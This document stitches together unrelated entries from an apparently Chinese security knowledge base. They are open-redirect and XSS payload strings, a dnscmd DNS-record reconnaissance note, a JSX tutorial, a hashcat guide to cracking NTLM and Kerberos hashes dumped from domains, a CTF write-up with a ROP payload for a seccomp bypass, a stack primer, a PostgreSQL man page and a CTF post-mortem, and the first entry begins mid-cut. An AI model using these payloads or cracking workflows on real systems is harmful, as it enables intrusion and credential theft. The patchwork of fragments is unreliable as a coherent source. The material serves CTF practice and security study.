http://a.com/X.b.com ``` XSS from Open URL - If it's in a JS variable ```powershell ";alert(0);// ``` XSS from data:// wrapper ```powershell http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg== ``` XSS from javascript:// wrapper ```powershell http://www.example.com/redirect.php?url=javascript:prompt(1) ``` ## Common injection parameters ```powershell /{payload} ?next={payload} ?url={payload} ?target={payload} ?rurl={payload} ?dest={payload} ?destination={payload} ?redir={payload} ?redirect_uri={payload} ?redirect_url={payload} ?redirect={payload} /redirect/{payload} /cgi-bin/redirect.cgi?{payload} /out/{payload} /out?{payload} ?view={payload} /login?to={payload} ?image_url={payload} ?go={payload} ?return={payload} ?returnTo={payload} ?return_to={payload} ?checkout_url={payload} ?continue={payload} ?return_path={payload} ``` ## Labs * [DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection) ## References * filedescriptor * [You do not need to run 80 reconnaissance tools to get access to user accounts - @stefanocoding](https://gist.github.com/stefanocoding/8cdc8acf5253725992432dedb1c9c781) * [OWASP - Unvalidated Redirects and Forwards Cheat Sheet](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet) * [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) * [Pentester Land - Open Redirect Cheat Sheet](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) * [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/) * [Host/Split Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf)
sec-knowleage
# T1590-win-DNS记录获取 ## 来自ATT&CK的描述 在攻击受害者之前,攻击者可能会收集有关受害者DNS的信息,这些信息可在目标确定期间使用。 在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS记录无疑是一个很好的参考。 ## 测试案例 本文包含以下内容: - 通过dnscmd获取DNS记录 dnscmd:用来管理DNS服务器的命令行接口,支持远程连接 默认安装的系统: - Windows Server 2003 - Windows Server 2008 - Windows Server 2003 R2 - Windows Server 2008 R2 - Windows Server 2012 - Windows Server 2003 with SP1 - … 参考资料: <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)> Win7系统在使用时需要安装Remote Server Administration Tools (RSAT) 参考地址: <https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems> RSAT下载地址: <https://www.microsoft.com/en-us/download/details.aspx?id=7887> ## 检测日志 Windows安全日志 ## 测试复现 ### 常用命令 未能实现三好学生大佬说的效果,同样我的Windows server 2008R2并不支持dnscmd这个命令。很无奈。在Windows server 2016中并没有".",值得注意。 ```yml C:\Users\12306br0>dnscmd ./ZoneInfo 361a.com 指定了未知的命令“361a.com” -- 键入 DnsCmd -?。 在将来的 Windows 版本中,Microsoft 可能会删除 dnscmd.exe。 如果你当前使用 dnscmd.exe 配置和管理 DNS 服务器, Microsoft 建议你过渡到 Windows PowerShell。 若要查看 DNS 服务器管理命令列表,请在 Windows PowerShell 提示符处键入 "Get-Command -Module DnsServer"。 有关适用于 DNS 的 Windows PowerShell 命令的详细信息,请参阅 http://go.microsoft.com/fwlink/?LinkId=217627。 用法: DnsCmd <ServerName> <Command> [<Command Parameters>] <ServerName>: IP 地址或主机名 -- 远程或本地 DNS 服务器。 . -- 本地计算机上的 DNS 服务器 <Command>: /Info -- 获取服务器信息 /Config -- 重置服务器或区域配置 /EnumZones -- 枚举区域 /Statistics -- 查询/清除服务器统计信息数据 /ClearCache -- 清除 DNS 服务器缓存 /WriteBackFiles -- 写入所有区域或根提示数据文件 /StartScavenging -- 开始服务器清理 /IpValidate -- 验证远程 DNS 服务器 /EnumKSPs -- 枚举可用的密钥存储提供程序 /ResetListenAddresses -- 将服务器 IP 地址设置为服务 DNS 请求 /ResetForwarders -- 将 DNS 服务器设置为转发递归查询 /ZoneInfo -- 查看区域信息 /ZoneAdd -- 在 DNS 服务器上创建新区域 /ZoneDelete -- 从 DNS 服务器或 DS 删除区域 /ZonePause -- 暂停区域 /ZoneResume -- 恢复区域 /ZoneReload -- 从其数据库(文件或 DS)重新加载区域 /ZoneWriteBack -- 将区域写回到文件 /ZoneRefresh -- 强制刷新主机的辅助区域 /ZoneUpdateFromDs -- 使用来自 DS 的数据更新 DS 集成区域 /ZonePrint -- 显示区域中的所有记录 /ZoneResetType -- 更改区域类型 /ZoneResetSecondaries -- 重置区域的辅助\通知信息 /ZoneResetScavengeServers -- 重置区域的清理服务器 /ZoneResetMasters -- 重置辅助区域的主服务器 /ZoneExport -- 将区域导出到文件 /ZoneChangeDirectoryPartition -- 将区域移动到另一目录分区 /ZoneSeizeKeymasterRole -- 占用区域的密钥主机角色 /ZoneTransferKeymasterRole -- 传送区域的密钥主机角色 /ZoneEnumSKDs -- 枚举区域的签名密钥描述符 /ZoneAddSKD -- 为区域创建新的签名密钥描述符 /ZoneDeleteSKD -- 删除区域的签名密钥描述符 /ZoneModifySKD -- 修改区域的签名密钥描述符 /ZoneValidateSigningParameters -- 验证区域的 DNSSEC 联机签名参数 /ZoneSetSKDState -- 为区域的签名密钥描述符设置活动和/或待机密钥 /ZoneGetSKDState -- 检索区域的签名密钥描述符的动态状态 /ZonePerformKeyRollover -- 在区域的签名密钥描述符中触发密钥滚动更新 /ZonePokeKeyRollover -- 在区域的签名密钥描述符中触发密钥滚动更新 /ZoneSign -- 使用 DNSSEC 联机签名参数为区域签名 /ZoneUnsign -- 从已签名的区域中删除 DNSSEC 签名 /ZoneResign -- 在已签名的区域中重新生成 DNSSEC 签名 /EnumRecords -- 枚举同一名称的记录 /RecordAdd -- 在区域或根提示中创建记录 /RecordDelete -- 从区域、根提示或缓存中删除记录 /NodeDelete -- 删除同一名称的所有记录 /AgeAllRecords -- 对区域中的节点进行强制老化 /TrustAnchorAdd -- 在 DNS 服务器上创建新的信任密钥区域 /TrustAnchorDelete -- 从 DNS 服务器或 DS 删除信任密钥区域 /EnumTrustAnchors -- 显示信任定位点的状态信息 /TrustAnchorsResetType -- 更改信任密钥区域的区域类型 /EnumDirectoryPartitions -- 枚举目录分区 /DirectoryPartitionInfo -- 获取有关目录分区的信息 /CreateDirectoryPartition -- 创建目录分区 /DeleteDirectoryPartition -- 删除目录分区 /EnlistDirectoryPartition -- 将 DNS 服务器添加到分区复制作用域 /UnenlistDirectoryPartition -- 从复制作用域中删除 DNS 服务器 /CreateBuiltinDirectoryPartitions -- 创建内置分区 /ExportSettings -- 将设置输出到 DNS 服务器数据库目录中的 DnsSettings.txt /OfflineSign -- 脱机签名区域文件,包括密钥生成/删除 /EnumTrustPoints -- 显示所有信任点的有效刷新信息 /ActiveRefreshAllTrustPoints -- 立即对所有信任点执行有效刷新 /RetrieveRootTrustAnchors -- 通过 HTTPS 检索根信任定位点 <Command Parameters>: DnsCmd <CommandName> /? -- 有关特定命令的帮助信息 在将来的 Windows 版本中,Microsoft 可能会删除 dnscmd.exe。 如果你当前使用 dnscmd.exe 配置和管理 DNS 服务器, Microsoft 建议你过渡到 Windows PowerShell。 若要查看 DNS 服务器管理命令列表,请在 Windows PowerShell 提示符处键入 "Get-Command -Module DnsServer"。 有关适用于 DNS 的 Windows PowerShell 命令的详细信息,请参阅 http://go.microsoft.com/fwlink/?LinkId=217627。 ``` ## 测试留痕 ```yml 已创建新进程。 创建者主题: 安全 ID: 361A\12306br0 帐户名: 12306br0 帐户域: 361A 登录 ID: 0x36D7FD 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x111c 新进程名称: C:\Windows\System32\dnscmd.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0xb40 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: dnscmd /ZoneInfo 361a.com ``` ## 检测规则/思路 ### 建议 最简单的办法就是检测相关命令行及进程,但这似乎不是很靠谱。 ## 参考推荐 MITRE-ATT&CK-T1590 <https://attack.mitre.org/techniques/T1590/> 域渗透——DNS记录的获取 <https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DNS%E8%AE%B0%E5%BD%95%E7%9A%84%E8%8E%B7%E5%8F%96>
sec-knowleage
### JSX语法 JSX就是 React.js 描述页面 UI 的方式(JSX 其实就是 JavaScript 对象) JSX语法需要bable进行编译,React.createElement() ``` import React from 'react' import ReactDOM from 'react-dom' const element = <h1>Hello world</h1>; ReactDOM.render(element,document.querySelector('#root')) ``` JSX为我们提供了创建react元素方法(React.createElement(component, props, ...children))的语法糖(syntactic sugar)。上面的代码实质上等价于: ```js import React from 'react' import ReactDOM from 'react-dom' var element = React.createElement( "h1", null, "Hello, world!" ) ReactDOM.render(element,document.getElementById('root')) ``` 每个 DOM 元素的结构都可以用 JavaScript 的对象来表示。你会发现一个 DOM 元素包含的信息其实只有三个:标签名,属性,子元素。 ```html <div> <h1 className='title'>React</h1> </div> ``` 所以 HTML的所有的信息我们都可以用合法的 JavaScript 对象来表示的。 ```jsx React.createElement( "div", null, React.createElement( "h1", { className: 'title' }, "React" ) ) ``` **嵌入变量** 用大括号包裹 ``` let name = 'Liu' let element = <p className = {name} /> ``` 大括号内可以写入变量,数字,求值表达式... ``` let name = 'LiuEnQing' let male = true let obj = { age:24, tal:13947368104 } let ele = <p> {name}<br /> {obj.age}<br /> <span>{male ? '男' : '女'}</span> </p> ``` 注释 ``` {/*[需要注释内容]*/} ```
sec-knowleage
# 密码破解和审计 这是渗透测试中最有趣的部分之一!坐在后面喝杯咖啡,享受密码刷屏几个小时。我是hashcat 的舔狗,所以本文将详细介绍如何使用hashcat。John 是一个可选的替代方案,如果通过用散列与彩虹表进行比较来破解,可以使用Orphcrack,但是我还不打算在本指南中详细介绍它们。 --- ## Hashcat 一些有用的链接 * [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#how_can_i_show_previously_cracked_passwords_and_output_them_in_a_specific_format_eg_emailpassword) * [命令行参数](https://hashcat.net/wiki/doku.php?id=hashcat) * [hashat 模式码](https://hashcat.net/wiki/doku.php?id=example_hashes) * [Hashview, hashcat的web前端](http://www.hashview.io/screenshots.html) Hashcat可以用GPU破解各种哈希。在这些例子中,最需要破解的是NTLM哈希、Kerberost tickets 和其他您可能偶然发现的东西,比如 Keepass 数据库。其目标自然是尽量快地破解,你会看到一堆垃圾密码。我强烈建议搞一个牛X点的GPU,这样就开心许多。即使我的GTX 1060 3GB并不咋地,我还是用它破解NTLM。 最基本的 hashcat 攻击是基于字典。意思就是为字典中的每个条目计算哈希,并与要破解的哈希进行比较。hashcat语法很好理解,但你需要知道hashcat的各种“modes”的用法,这些可以在上面的实用链接部分有。为了快速查找,我在下面列出一些在 AD 环境中最常用的。 | mode | 哈希 | 描述 | | ------------ | --------------- | ------------------------------- | | 1000 | NTLM | 很常见,用于一般域身份验证 | | 1100 | MsCache | 老版本的域缓存凭据 | | 2100 | MsCache v2 | 新版本的域缓存凭据 | | 3000 | LM | 很少用,也是老版本(仍然是NTLM的一部分)| | 5500 | NetNTLMv1 / NetNTLMv1+ESS | 通过网络进行身份验证的NTLM | | 5600 | NetNTLMv2 | 通过网络进行身份验证的NTLM | | 7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | AS_REQ 是 Kerberoas 的初始用户身份认证请求 | | 13100 | Kerberos 5 TGS-REP etype 23 | TGS_REP 是票据授权服务器(TGS)对先前请求的回复 | ### 字典攻击 对字典攻击来说,字典的质量是最重要的。它可以很大,可以覆盖很大范围。这对于像 NTLM 这种破解代价很低散列很有用,但是对于像 MsCacheV2 这种很难破解的散列来说,您通常希望基于 OSINT 和某些假设或枚举(比如密码策略)得到更精炼的列表,并应用规则。 这是一个使用世界著名字典 rockyou 进行字典破解的例子。 ```bash hashcat64.exe -a 0 -m 1000 ntlm.txt rockyou.txt ``` 这种方法的局限性和所有字典攻击一样,如果字典里没有正确的密码,就不能破解。于是就有了基于规则的破解。 ### 基于规则的破解 规则就是对单词进行不停额修改,比如剪切或者扩展单词,或者添加一些字母特殊字符之类的。跟字典破解一样,这也需要一个很大的规则列表,基于规则的攻击基本上类似于字典攻击,但是增加了一些对单词的修改,这自然增加了我们能够破解的哈希。 hashcat有一些自带的规则,比如dive。但是人们已经使用统计数据来尝试生成更高效的破解规则。本文详细描述了一个名为 [One Rule to Rule Them All](https://www.notsosecure.com/one-rule-to-rule-them-all/) 的规则集,可以从Github上下载。我用这个规则已经取得了很大的成功,而且统计数据证明它是非常好的。如果想用更少的规则更快地破解,那么 hashcat 中有很多内置的规则,比如 best64.rule。使用 best64 规则集y运行rockyou ```bash hashcat64.exe -a 0 -m 1000 -r ./rules/best64.rule ntlm.txt rockyou.txt ``` 这里你可以把字典和规则都尝试下,只要你的gpu和散热足够屌,你就可以上天。 在破解一定数量的哈希之后,将破解的密码输出到一个文件里. `--out-file 2` 表示只输出密码。 ``` hashcat64.exe -a 0 -m 1000 ntlm.txt rockyou.txt --outfile cracked.txt --outfile-format 2 Recovered........: 1100/2278 (48.28%) ``` 继续以破解的密码作为单词列表再次破解,并设置一个大规则集以恢复更多密码。你可以这样循环几次,这样你可以用这个技术破解大量密码。 ```bash hashcat64.exe -a 0 -m 1000 ntlm.txt cracked.txt -r .\rules\OneRuleToRuleThemAll.rule ​ Recovered........: 1199/2278 (52.63%) ​ hashcat64.exe -a 0 -m 1000 ntlm.txt cracked.txt -r .\rules\dive.rule ​ Recovered........: 1200/2278 (52.68%) ``` 使用 .pass_2a(90GB) 字典和 .uleulethemall 规则集的究极攻击。 ```bash hashcat64.exe -a 0 -m 1000 ntlm.txt weakpass_2a.txt -r .\rules\oneruletorulethem.rule ``` ### 掩码攻击 尝试给定字符空间的所有组合。很像暴力破解,但是更加具体一点。 ```bash hashcat64.exe -a 3 -m 1000 ntlm.txt .\masks\8char-1l-1u-1d-1s-compliant.hcmask ``` ### 一些建议 * [Seclists](https://github.com/danielmiessler/SecLists) - 所有类型列表的一个大集合,不仅仅用于密码破解 * [Weakpasswords](https://weakpass.com/) - 有许多又小又好的字典,它们都带有统计信息和用于估计破解时间的计算器。我列出了其中一些,下面这些你也应该知道。 * rockyou.txt - 老牌,稳定,高效 * norsk.txt - 通过下载维基百科和许多挪威语字典来制作一个挪威语字典,并把它们结合在一起,再去重。 * weakpass_2a - 90 GB 字典 * [​Keyboard-Combinations.txt](https://github.com/danielmiessler/SecLists/blob/5c9217fe8e930c41d128aacdc68cbce7ece96e4f/Passwords/Keyboard-Combinations.txt) - 这是按照QWERTY键盘布局上的常规模式列出的所谓的键盘走动列表。参见下面的章节。 #### 生成你自己的字典 有时候,网上的字典并不会删减,所以你必须自己制作。有几种情况必须自己做字典。 1. 需要一个非英语字典 2. 需要一个按键字典 3. 需要一个有针对性的字典 #### 非英语字典 对于第一种情况,我的朋友 @tro 和我分享了他的技巧。我们下载了给定语言的维基百科,然后用一句话对其进行处理,对其进行精简并且去除所有特殊字符。 ```bash wget http://download.wikimedia.org/nowiki/latest/nowiki-latest-pages-articles.xml.bz2 ​ bzcat nowiki-latest-pages-articles.xml.bz2 | grep '^[a-zA-Z]' | sed 's/[-_:.,;#@+?{}()&|§!¤%`<>="\/]/\ /g' | tr ' ' '\n' | sed 's/[0-9]//g' | sed 's/[^A-Za-z0-9]//g' | sed -e 's/./\L\0/g' | sed 's/[^abcdefghijklmnopqrstuvwxyzæøå]//g' | sort -u | pw-inspector -m1 -M20 > nowiki.lst ​ wc -l nowiki.lst 3567894 ``` 完美,我们在很短时间内获得35万字典。 另外一种获得指定语言字典的方法就是使用google和一个特别的网站github,用google搜索一下就可以得到你想要的。 ```bash greek wordlist site:github.com greek dictionary site:github.com ``` 还有我注意到我拉取下来的列表中,有一些类似于ÆØÅ的字符有时候被一些特殊字符替换了,所以记住下载完成之后快速浏览一下你的列表,如果有必要的话做一些替换。 当你下载完成并且解决了一些潜在的错误之后,用linux命令行对其进行分割,删除特殊字符,并且统一转换成小写。 ```bash sed -e 's/[;,()'\'']/ /g;s/ */ /g' list.txt | tr '[:upper:]' '[:lower:]' > newlist.txt ``` 你现在应该有了一个又好又漂亮的特定语言的字典。 也应该理解为什么要学习类似 cut, tr, sed, awk, piping 的东西,于此同时,也应该知道重定向是一个多么该死的应用。 #### Bonus 这样你就可以获得名词和地名的列表,它们经常被用作密码,人们都爱自己的孩子和孙子,因此常用他们的名字作为密码。我稍微google了一下,从github上发现了这些,这些都是json格式的,但这不是问题。 linux 大法好 ```bash cat *.json | sed 's/,/\n/g' | cut -f '"' -f2 | sort -u > nornames.txt ​ wc -l nornames.txt 9785 ``` 现在我们又添加了一些单词。 我把这个添加到我的挪威列表里面并且去重,把他们放到一个文件里。 ```bash cat norsk.txt nor_names.txt sort -u > norsk.txt ​ wc norsk.txt -l 2191221 ``` nice,又多了200万个不同的挪威单词。 #### 键盘漫步字典 键盘漫步是按照QWERTY键盘布局上的常规模式来创建容易记住的密码。显然,人们认为这样会生成安全的密码,但实际上它们是高度可预测的。因此,可以从键图生成这些组合,并且很容易做成字典。 几年前,Hashcat 发布了一个叫做 [kwprocessor](https://github.com/hashcat/kwprocessor) 的键盘漫步生成器。您可以使用它来基于多个模式和长度生成相当大的列表。生成2-16字符长列表的示例如下。 ```bash /kw.out -s 1 basechars/full.base keymaps/en.keymap routes/2-to-16-max-3-direction-changes.route -o words.txt ``` 记住,在这个字典里运行基于规则的攻击不一定有意义。 另外一个选择就是使用上面提到的 `Keyboard-Combinations.txt`。 #### 目标字典 通常,在实际渗透测试项目中,您所处的企业具有非常特定的名称和细节信息。人们常常为服务帐户和用户帐户设置带有公司名称的密码。一个非常简单的技巧就是将一些公司相关名称写入一个列表,但更有效的方法是在企业的公共网站上使用Web爬虫工具 Cewl。 ```bash cewl -w list.txt -d 5 -m 5 http://example.com ``` 我们应该有一个相当大的字典,它基于与该企业相关的词汇,比如名称、地点以及它们的许多商业术语。 另外一种针对性的策略就是使用用户名作为字典进行破解,但是要注意,很多密码策略是不允许这样设置密码的。 于此同时,如果你已经从域控制器中dump了数据库,那么你可能有所有员工的全名,一个技巧就是用他们的姓和名作为字典,用规则进行密码破解。这样可能提供一些额外的结果。 ### 你能用到的一些hashcat选项 * 输出还没有破解的哈希 `--left` * 以 hash:password 的形式输出已经破解的密码 `--show` * 以 username:hash:password 的形式输出已经破解的密码。 `--show --username` * 用 `-w <number>` 烧你的gpu,等级是 1-3 * 将已经破解的密码输出到文件 `--show --outfile cracked.txt --outfile-format 2 ` - 其中2表示输出结果。 * 让hashcat以会话的形式启动, 它可以暂停,并且使用`--session <session_name>` 的形式恢复。你可以在暂停会话的时候指定会话名。 ## 在线hash破解工具 老实说,我不喜欢使用这些工具,尤其是不在实际渗透测试项目中使用。您不想向在线存储库提交一些你自己都不知道的东西以供永久存储。很奇怪,它永远不会被探测到,但还是要小心。如果你要提交来来自验室的散列或您已经知道明文的散列,那么Crackstation.net 是一个不错的选择。 ## 域密码审计工具(DPAT) 一个python脚本,它将根据从域控制器转储的密码散列和密码破解文件(比如Hashcat生成的hashcat.potfile)生成密码使用统计数据。该报告是一个带有链接的HTML页面。 在包含散列文件(`username:lm:nt:`)和包含破解散列的potfile 上运行DPAT。以“domainusername”的格式将域管理列表添加到名为Domain_Admins的文件中。然后它也会显示你破解了多少人的密码。emmm ```bash ./dpat.py -n onlyntlm.txt -c hashcat.potfile -g Domain_Admins ``` 打开html报告,感受一下 ## 其他 ### 清理 在破解了散列并交付报告之后,您可能需要同时清除哈希和破解密码。这很重要,因为您不想外泄或丢失企业的大量密码。对文件要非常小心,尤其是重定向到新文件时。记住要清理你的potfile,因为哈希是在破解之后存储在那里的。 ### 彩虹表 彩虹表就是当哈希没有加盐的时候(比如NTLM),提前计算好哈希,并且在破解的时候直接比较。 [免费的彩虹表](https://web.archive.org/web/20160402172945/https://www.freerainbowtables.com/en/tables2)
sec-knowleage
# C 沙盒逃逸 ## orw 有些时候 pwn 题目中为了增加难度,会使用类似 [seccomp](https://en.wikipedia.org/wiki/Seccomp) 的函数来禁用一部分系统调用,往往会把 execve 这种系统调用禁用掉,基本上拿 shell 是不可能了,但是我们 pwn 题是面向 flag 的,所以还是可以通过 orw( open-read-write )的方法来读出 flag 的。在栈上的 orw 和 普通 rop 其实没有什么特别大的区别,这里主要谈一谈堆利用中的白名单绕过。 一般来说,开启了白名单的堆利用类题,我们会在劫持了某钩子函数如 __free_hook 或 got 表之后考虑实现 orw,这个时候我们只可以注入一个 gadget,一般来说我们希望这个 gadget 能够实现栈迁移,一种比较通用的做法是利用 setcontext 函数,其在 libc-2.29 中实现为 ``` .text:0000000000055E00 ; __unwind { .text:0000000000055E00 push rdi .text:0000000000055E01 lea rsi, [rdi+128h] ; nset .text:0000000000055E08 xor edx, edx ; oset .text:0000000000055E0A mov edi, 2 ; how .text:0000000000055E0F mov r10d, 8 ; sigsetsize .text:0000000000055E15 mov eax, 0Eh .text:0000000000055E1A syscall ; LINUX - sys_rt_sigprocmask .text:0000000000055E1C pop rdx .text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000055E23 jnb short loc_55E80 .text:0000000000055E25 mov rcx, [rdx+0E0h] .text:0000000000055E2C fldenv byte ptr [rcx] .text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h] .text:0000000000055E35 mov rsp, [rdx+0A0h] .text:0000000000055E3C mov rbx, [rdx+80h] .text:0000000000055E43 mov rbp, [rdx+78h] .text:0000000000055E47 mov r12, [rdx+48h] .text:0000000000055E4B mov r13, [rdx+50h] .text:0000000000055E4F mov r14, [rdx+58h] .text:0000000000055E53 mov r15, [rdx+60h] .text:0000000000055E57 mov rcx, [rdx+0A8h] .text:0000000000055E5E push rcx .text:0000000000055E5F mov rsi, [rdx+70h] .text:0000000000055E63 mov rdi, [rdx+68h] .text:0000000000055E67 mov rcx, [rdx+98h] .text:0000000000055E6E mov r8, [rdx+28h] .text:0000000000055E72 mov r9, [rdx+30h] .text:0000000000055E76 mov rdx, [rdx+88h] .text:0000000000055E76 ; } // starts at 55E00 ``` 当然其他版本也大同小异,可见在这个函数中有对 rsp 的赋值,如果我们可以控制 rdx,就可以控制 rsp 实现栈迁移了。 ### 例题 #### Balsn_CTF_2019-PlainText ##### 分析 在 orw 之前的利用这里不再赘述,请见《Glibc Heap 利用》目录下的《堆中的 Off-By-One》中对此题的分析 比较讨厌的是,在 libc-2.29 下,free 函数不会再将 rdi 赋值给 rdx,我们无法直接控制 rdx,仅能控制 rdi,幸好比较巧合的,在本题的 libc 中有这样一个 gadget ``` 0x12be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; ``` 通过使用这个 gadget 之后改变 rdx,ret 到 setcontext 之后就可以 rop 了(这个 chunk 无法通过 ROPgadget 找出,需要使用 ropper)。 ##### exploit 这里只给出 payload ```python ## alloc to __free_hook ## magic_gadget = libc_base + 0x12be97 add(0x28,p64(magic_gadget)) # 73 pop_rdi_ret = libc_base + 0x26542 pop_rsi_ret = libc_base + 0x26f9e pop_rdx_ret = libc_base + 0x12bda6 syscall_ret = libc_base + 0xcf6c5 pop_rax_ret = libc_base + 0x47cf8 ret = libc_base + 0xc18ff payload_addr = heap_base + 0x270 str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8 rw_addr = heap_base payload = p64(libc_base + 0x55E35) # rax payload += p64(payload_addr - 0xA0 + 0x10) # rdx payload += p64(payload_addr + 0x28) payload += p64(ret) payload += ''.ljust(0x8,'\x00') rop_chain = '' rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag" rop_chain += p64(pop_rsi_ret) + p64(0) rop_chain += p64(pop_rdx_ret) + p64(0) rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3 rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf rop_chain += p64(pop_rdx_ret) + p64(0x100) # len rop_chain += p64(libc_base + libc.symbols["read"]) rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1 rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf rop_chain += p64(pop_rdx_ret) + p64(0x100) # len rop_chain += p64(libc_base + libc.symbols["write"]) payload += rop_chain payload += './flag\x00' add(len(payload) + 0x10,payload) # 74 #gdb.attach(proc.pidof(sh)[0]) delete(74) sh.interactive() ```
sec-knowleage
# 栈介绍 ## 基本栈介绍 栈是一种典型的后进先出( Last in First Out )的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。 ## 函数调用栈 请务必仔细看一下下面的文章来学习一下基本的函数调用栈。 - [C语言函数调用栈(一)](http://www.cnblogs.com/clover-toeic/p/3755401.html) - [C语言函数调用栈(二)](http://www.cnblogs.com/clover-toeic/p/3756668.html) 这里再给出另外一张寄存器的图 需要注意的是,32 位和 64 位程序有以下简单的区别 - **x86** - **函数参数**在**函数返回地址**的上方 - **x64** - System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在**RDI, RSI, RDX, RCX, R8 和 R9 寄存器**中,如果还有更多的参数的话才会保存在栈上。 - 内存地址不能大于 0x00007FFFFFFFFFFF,**6 个字节长度**,否则会抛出异常。 ## 参考阅读 - csapp - Calling conventions for different C++ compilers and operating systems, Agner Fog
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "SHOW" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME SHOW \- 显示运行时参数的数值 .SH SYNOPSIS .sp .nf SHOW \fIname\fR SHOW ALL .sp .fi .SH "DESCRIPTION 描述" .PP \fBSHOW\fR 将显示当前运行时参数的数值。 这些变量可以通过 SET 语句来设置,或者通过编辑 postgresql.conf, 或者通过 PGOPTIONS 环境变量,(在使用libpq或者以 libpq 为基础的应用的时候。) 或者在postmaster启动时用命令行参数来设置。 参阅 Section 16.4 ``Run-time Configuration'' 获取细节。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 运行时参数的名称。可用的参数在 Section 16.4 ``Run-time Configuration'' 里面有文档,以及 SET [\fBset\fR(7)] 手册页。 另外,还有几个参数可以显示,但是不能设置: .RS .TP \fBSERVER_VERSION\fR 显示服务器的版本号。 .TP \fBSERVER_ENCODING\fR 显示服务器断的字符集编码。目前,这个参数只能显示但不能设置, 因为编码是在创建数据库的时候决定的。 .TP \fBLC_COLLATE\fR 显示数据库的字符集区域设置(字符顺序)。目前,这个参数只能显示 但不能设置,因为设置是在 initdb 的时候设置的。 .TP \fBLC_CTYPE\fR 为字符集分类显示数据库的区域设置。目前,这个参数只能显示,不能设置, 因为它的设置是在 initdb 的时候决定的。 .TP \fBIS_SUPERUSER\fR 如果当前事务认证标识符有超级用户权限,则为真。 .RE .PP .TP \fBALL\fR 显示所有当前会话参数。 .SH "NOTES" .PP 函数 current_setting 生成相同输出。 参阅 Section 9.13 ``Miscellaneous Functions'' 。 .SH "EXAMPLES 例子" .PP 显示当前 DateStyle 的设置: .sp .nf SHOW DateStyle; DateStyle ----------- ISO, MDY (1 row) .sp .fi .PP 显示参数geqo的当前设置: .sp .nf SHOW geqo; geqo ------ on (1 row) .sp .fi .PP 显示所有设置: .sp .nf SHOW ALL; name | setting -------------------------------+--------------------------------------- australian_timezones | off authentication_timeout | 60 checkpoint_segments | 3 . . . wal_debug | 0 wal_sync_method | fdatasync (94 rows) .sp .fi .SH "COMPATIBILITY 兼容性" .PP SHOW 命令是 PostgreSQL 扩展。 .SH "SEE ALSO" SET [\fBset\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# CONFidence 2019 CTF Teaser Post Mortem Hi all, thanks for playing CONFidence 2019 CTF Teaser! Now the CTF is over, so we'd like to dump some data, share some perspective, and show how things worked from behind the scenes. Also, please be aware that it was just a teaser - the real event will happen 3-4 June in Krakow. Top teams will receive free conference passes (wait for an email), but everyone is invited as long as you show up at the conference with a valid ticket. ## 1. Challenges 546 teams registered, of which 522 solved at least one challenge. We prepared 16 challenges, all of which were solved. ![](skoroboro.png) The hardest challenge (judging by the number of solves) was game_server. The easiest challenge (ignoring the sanity check) was admin_panel, closely followed by elementary and count. | Challenge name | Solves | | ---------------| ------| | game server | 7 | | p4fmt | 10 | | go machine | 10 | | lottery | 11 | | watchmen | 13 | | sloik | 14 | | neuralflag | 22 | | web_50 | 29 | | pudliszki | 37 | | oldschool | 37 | | really suspicious acronym | 52 | | bro, do you even lift | 65 | | count me in! | 115 | | elementary | 123 | | my admin panel | 151 | | sanity check | 522 | In retrospect, there could be more hard challenges. We underestimated you and thought that 24 hours is not enough time to hack all of our tasks. We were wrong ;). However, only one team managed to solve all our challenges (congratz, hxp), so it's not too bad. On the other hand, some people complained that even the easiest tasks were challenging, and wished for something more beginner-friendly. We'll work on that next time! Also, we need more pwn challenges. We had some of them planned, but life happened and they were not ready for the CTF. Sorry to all the pwn-lovers that had nothing to do (except for the pwning the kernel in p4fmt, of course). ## 2. Survey Ok, we had some challenges, but were they any good? 